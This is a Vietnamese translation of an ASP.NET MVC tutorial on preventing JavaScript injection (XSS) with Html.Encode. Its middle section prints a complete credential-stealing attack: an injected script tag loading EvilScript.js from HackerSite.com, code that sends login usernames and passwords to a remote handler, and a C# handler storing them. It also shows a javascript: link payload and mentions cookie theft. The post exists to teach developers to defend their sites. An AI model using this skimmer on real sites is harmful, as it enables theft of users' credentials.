ASP.NET MVC Tip #7 – Prevent JavaScript Injection Attacks with Html.Encode
Trong thủ thuật này, bạn biết rằng JavaScript tấn công Injection là nghiêm trọng hơn nhiều so với bạn nghĩ. Tôi chỉ cho bạn cách để làm những việc kinh khủng với một trang web ASP.NET MVC sử dụng một cuộc tấn công JavaScript Injection và sau đó tôi giải thích một cách dễ dàng để ngăn chặn kiểu tấn ...
Trong thủ thuật này, bạn biết rằng JavaScript tấn công Injection là nghiêm trọng hơn nhiều so với bạn nghĩ. Tôi chỉ cho bạn cách để làm những việc kinh khủng với một trang web ASP.NET MVC sử dụng một cuộc tấn công JavaScript Injection và sau đó tôi giải thích một cách dễ dàng để ngăn chặn kiểu tấn công này.
Khi bạn thu thập form dữ liệu từ một người truy cập vào trang web của bạn, và bạn hiển thị lại dữ liệu form cho người khác, thì bạn nên mã hóa các dữ liệu form. Nếu không, bạn đang mở trang web của bạn để tấn công Injection JavaScript.
Ví dụ, nếu bạn đang tạo ra một diễn đàn thảo luận, hãy chắc chắn rằng bạn mã hóa các tin nhắn diễn đàn khi hiển thị các thông điệp trong một trang web. Nếu bạn không mã hóa các tin nhắn, sau đó ai đó có thể gửi một tin nhắn có chứa JavaScript và làm những điều rất xấu .
Trong thủ thuật này, tôi muốn nhấn mạnh rằng một hacker, trên thực tế, có thể làm những điều rất xấu với một cuộc tấn công Injection JavaScript. Tôi đã rất ngạc nhiên về cách ít nhiều nhà phát triển web quan tâm về việc ngăn chặn các cuộc tấn công Injection JavaScript. Vấn đề là hầu hết các nhà phát triển không hoàn toàn nhận thức được sự nguy hiểm. Họ nghĩ rằng điều tồi tệ nhất mà bạn có thể làm với một cuộc tấn công Injection JavaScript là từ đó thay đổi một trang web. Trong thủ thuật này, tôi sẽ cho bạn thấy làm thế nào một hacker có thể sử dụng một cuộc tấn công Injection Javascript để ăn cắp tất cả các tên người dùng và mật khẩu của một trang web. Mục đích của thủ thuật này là để cảnh báo bạn làm cho đúng.
Theo Wikipedia, JavaScript tấn công Injection đã “vượt qua bộ đệm tràn để trở thành phổ biến nhất của tất cả các lỗ hổng bảo mật báo cáo công khai”. Thậm chí đáng sợ hơn, theo Wikipedia, 70% các trang web được mở cho các cuộc tấn công Injection JavaScript (http://en.wikipedia.org/wiki/Cross-site_scripting). Vì vậy, ít nhất 70% số người đang đọc blog entry này đang từ từ và gây nguy hiểm cho người sử dụng trang web của bạn. Bạn thấy thật xấu hổ!
Làm thế nào để đánh cắp mật khẩu Một Người với JavaScript
Dưới đây là làm thế nào một hacker có thể làm những điều rất xấu với một cuộc tấn công Injection JavaScript. Hãy tưởng tượng rằng bạn đã tạo ra một ứng dụng Khảo sát khách hàng bằng cách xây dựng các ứng dụng với ASP.NET MVC.
Việc áp dụng Khảo sát khách hàng là một ứng dụng siêu đơn giản. Người dùng có thể nhập thông tin phản hồi về một sản phẩm bằng cách nhập thông tin phản hồi vào một biểu mẫu. Khách hàng cũng có thể thấy tất cả các thông tin phản hồi lại bởi khách hàng trước đây.
Các mẫu phản hồi sẽ được hiển thị trong hình 1.
Hình 1 - Feedback Form
Chú ý rằng các mẫu phản hồi bao gồm một mẫu đăng nhập ở phía trên cùng của trang. Việc áp dụng Khảo sát khách hàng có chứa một mẫu đăng nhập tại trang chủ của nó (một kịch bản phổ biến cho các trang web).
Bởi vì thông tin phản hồi dưới dạng trang thông tin phản hồi sẽ hiển thị lại nhập vào bởi các khách hàng khác, trang được mở cửa cho các cuộc tấn công Injection JavaScript. Tất cả những gì một hacker xấu cần phải làm là gõ văn bản sau vào trường mẫu phản hồi:
<script src=http://HackerSite.com/EvilScript.js></script>
Khi văn bản này được hiển thị lại trong trang mẫu phản hồi, các thẻ <script> gọi một kịch bản Javascript đặt tại trang web của hacker. Các kịch bản được chứa trong Liệt kê 1. Liệt kê 1 - EvilScript.js
1: if (window.attachEvent) 2: document.forms[0].attachEvent('onsubmit', fn); 3: 4: function fn(e) 5: { 6: var userName = document.getElementById("userName").value; 7: var password = document.getElementById("password").value; 8: var d = new Date(); 9: var url = "HackerSite/EvilHandler.ashx?userName=" + userName 10: + "&password=" + password + "&d=" + d.valueOf(); 11: 12: var script = document.createElement("script"); 13: script.type = 'text/javascript'; 14: script.src = url; 15: document.body.appendChild( script ); 16: } 17:
Các kịch bản trong Liệt kê 1 gắn một event handler để gửi biểu mẫu có sự kiện gắn liền với form đăng nhập. Khi biểu mẫu đăng nhập được gửi, hàm fn() Javascript thực thi. Chức năng này lấy các giá trị của các trường userName và password. Tiếp theo, các script tự động thêm một thẻ <script> vào trang và truyền userName và mật khẩu để một handler (có khả năng điều khiển từ xa) tại trang web có tên EvilHandler.ashx.
Mã cho EvilHandler được chứa trong Liệt kê 2. EvilHandler chỉ đơn giản là lấy tên người dùng và mật khẩu từ chuỗi truy vấn và lưu trữ tên người dùng và mật khẩu trong cơ sở dữ liệu.
Liệt kê 2 - EvilHandler.ashx
1: using System; 2: using System.Collections; 3: using System.Data; 4: using System.Linq; 5: using System.Web; 6: using System.Web.Services; 7: using System.Web.Services.Protocols; 8: using System.Xml.Linq; 9: 10: namespace CustomerSurvey.HackerSite 11: { 12: [WebService(Namespace = "http://tempuri.org/")] 13: [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] 14: public class EvilHandler : IHttpHandler 15: { 16: 17: public void ProcessRequest(HttpContext context) 18: { 19: // Get user name and password from URL 20: string userName = context.Request.QueryString["userName"]; 21: string password = context.Request.QueryString["password"]; 22: 23: // Store in database 24: HackerDataContext db = new HackerDataContext(); 25: StolenPassword pwd = new StolenPassword(); 26: pwd.userName = userName; 27: pwd.password = password; 28: db.StolenPasswords.InsertOnSubmit(pwd); 29: db.SubmitChanges(); 30: } 31: 32: public bool IsReusable 33: { 34: get 35: { 36: return false; 37: } 38: } 39: } 40: }
Hãy tưởng tượng rằng form khách hàng phản hồi xuất hiện ở một trang web ngân hàng. Trong trường hợp đó, các hacker hiện nay có khả năng truy cập thông tin tài khoản của mọi người và chuyển tiền của mọi người tại một tài khoản ngân hàng tại quần đảo Cayman. Không tồi cho một vài dòng mã.
ASP.NET MVC không hỗ trợ Request Validation
Điều nguy hiểm hơn sẽ trong trường hợp của một ứng dụng ASP.NET MVC. Trong một ứng dụng ASP.NET Web Forms, không giống như một ứng dụng ASP.NET MVC, bạn có thể dựa vào một tính năng gọi là Request Validation . Request Validation detect cho dù dữ liệu form được gửi từ một trang chứa form dữ liệu tìm kiếm nguy hiểm. Nếu bạn gửi dữ liệu form có chứa, ví dụ, dấu ngoặc nhọn sau đó một ngoại lệ được thông qua.
Hãy nhận biết rằng ASP.NET MVC không sử dụng Request Validation. Bạn có trách nhiệm toàn diện cho việc ngăn chặn các cuộc tấn công tiêm JavaScript trong một ứng dụng ASP.NET MVC.
Ngăn chặn JavaScript tấn công Injection
Ngăn chặn các cuộc tấn công Injection JavaScript rất đơn giản. Hãy chắc chắn rằng bạn gọi Html.Encode() bất cứ khi nào bạn hiển thị text lấy từ một người dùng trong một view.
Ví dụ, đây là một phần của view Index có hiển thị các thông tin phản hồi của khách hàng:
1: <h1>Customer Feedback</h1> 2: <ul> 3: <% foreach (Survey survey in ViewData.Model) 4: { %> 5: <li> 6: <%= survey.EntryDate.ToShortDateString() %> 7: — 8: <%= survey.Feedback %> 9: </li> 10: <% } %> 11: </ul>
Mã này chứa một vòng lặp đó lặp thông qua các Survey entities. Các giá trị của Feedback và EntryDate được hiển thị cho từng đối tượng khảo sát.
Để ngăn chặn các cuộc tấn công tiêm JavaScript, bạn cần phải sử dụng Html.Encode() helper method. Dưới đây là đúng cách để mã hóa vòng lặp:
1: <h1>Customer Feedback</h1> 2: <ul> 3: <% foreach (Survey survey in ViewData.Model) 4: { %> 5: <li> 6: <%= survey.EntryDate.ToShortDateString() %> 7: — 8: <%= Html.Encode(survey.Feedback) %> 9: </li> 10: <% } %> 11: </ul> 12:
Những gì được mã hóa
Chú ý rằng tôi không mã hóa các tài sản EntryDate trong các mã trong phần trước. Có hai lý do tại sao bạn không cần phải mã hóa các EntryDate khi hiển thị thuộc tính này trong một trang.
Thứ nhất, EntryDate đã không được nhập bởi một người truy cập website. Giá trị của thuộc tính EntryDate được tạo ra bởi mã của bạn. Một hacker không thể nhập mã độc ở đây.
Hãy tưởng tượng rằng một người truy cập không nhập giá trị của thuộc tính EntryDate. Bởi vì EntryDate được lưu giữ như một DateTime trong cơ sở dữ liệu SQL Server, một hacker không thể lẻn mã độc hại vào EntryDate. Vì vậy, bạn không cần phải lo lắng về việc mã hóa thuộc tính này khi bạn hiển thị nó.
Nói chung, bạn nên lo lắng về JavaScript tấn công Injection bất cứ khi nào bạn chấp nhận đầu vào là text từ một người sử dụng. Ví dụ, lo lắng về việc hiển thị tên người dùng. Nếu bạn cho phép người dùng tạo tên người dùng riêng của họ, sau đó người dùng có khả năng có thể lẻn một chuỗi Javascript mã độc vào tên người dùng của họ (hoặc thêm một thẻ hình ảnh trỏ đến một hình ảnh khiêu dâm).
Ngoài ra, nên lo lắng về liên kết. Hầu hết các ứng dụng viết blog cho phép người dùng ẩn danh để gửi một liên kết đến trang web của họ khi họ viết bình luận trên blog. Một hacker có thể lẻn JavaScript độc hại vào liên kết. Dưới đây là một ví dụ đơn giản:
<a href="javascript:alert('Something Evil!')">Mr. Hacker</a>
Khi bạn nhấp vào liên kết này, mã JavaScript thực thi. Trong trường hợp này, không có gì thực sự xảy ra là độc hại. Tuy nhiên, bạn có thể thực thi mã mà đánh cắp dữ liệu form hoặc cookie từ trang.
Xác thực, Session State, và HttpOnly Cookie
Bạn có thể sử dụng JavaScript tấn công Injection để ăn cắp cookie. Ví dụ, nếu bạn lưu trữ số thẻ tín dụng của người dùng trong một cookie, sau đó bạn có thể Injection JavaScript vào trang và lấy các số thẻ tín dụng bằng cách sử dụng thuộc tính document.cookie DOM.
Cả hai ASP.NET Forms Authentication và ASP.NET Session State sử dụng các tập tin cookie. Các hình thức xác thực dựa trên một vé xác thực được lưu trữ trong cookie có tên .ASPXAUTH. Session State sử dụng cookie có tên ASP.NET_SessionId. Nếu bạn có thể ăn cắp các tập tin cookie sau đó bạn có thể mạo danh người dùng trang web và đánh cắp thông tin người dùng Session State.
May mắn thay, Microsoft đã đưa ra biện pháp phòng ngừa để làm cho nó khó khăn hơn để ăn cắp các form xác thực và cookie Session State. Cả hai cookie là HttpOnly cookie. Một cookie HttpOnly là một loại đặc biệt của cookie không thể đọc qua mã client-side. Bạn có thể đọc các tập tin cookie HttpOnly chỉ từ máy chủ web.
Microsoft Internet Explorer, Firefox và Opera đều ủng hộ HttpOnly cookie. Safari và các trình duyệt cũ, không may, không có. Vì vậy, bạn vẫn phải cẩn thận để mã hóa HTML tất cả dữ liệu người dùng nhập vào hoặc một hacker xấu có thể ăn cắp các hình thức xác thực và cookie Session State.
Tóm lược
Mục đích của thủ thuật này là để cảnh báo bạn vào làm đúng. Như đã đề cập trong phần giới thiệu, JavaScript tấn công Injection là loại phổ biến nhất của các cuộc tấn công an ninh mạng. Hầu hết các nhà phát triển web không dành đủ thời gian để lo lắng về nó. Tôi hy vọng mẹo này đã thuyết phục bạn luôn luôn mã hóa dữ liệu người dùng của bạn khi hiển thị các dữ liệu trong một view MVC.
Bạn có thể thử các mã được thảo luận trong mẹo này bằng cách nhấn vào liên kết bên dưới. Sau khi bạn nhập tên người dùng và mật khẩu trong form đăng nhập và nhấp vào nút, tên người dùng và mật khẩu sẽ xuất hiện trong bảng cơ sở dữ liệu StolenPasswords.
Code: https://aspblogs.blob.core.windows.net/media/stephenwalther/Downloads/Tip7/Tip7.zip
Nguồn https://weblogs.asp.net/stephenwalther/asp-net-mvc-tip-7-prevent-javascript-injection-attacks-with-html-encode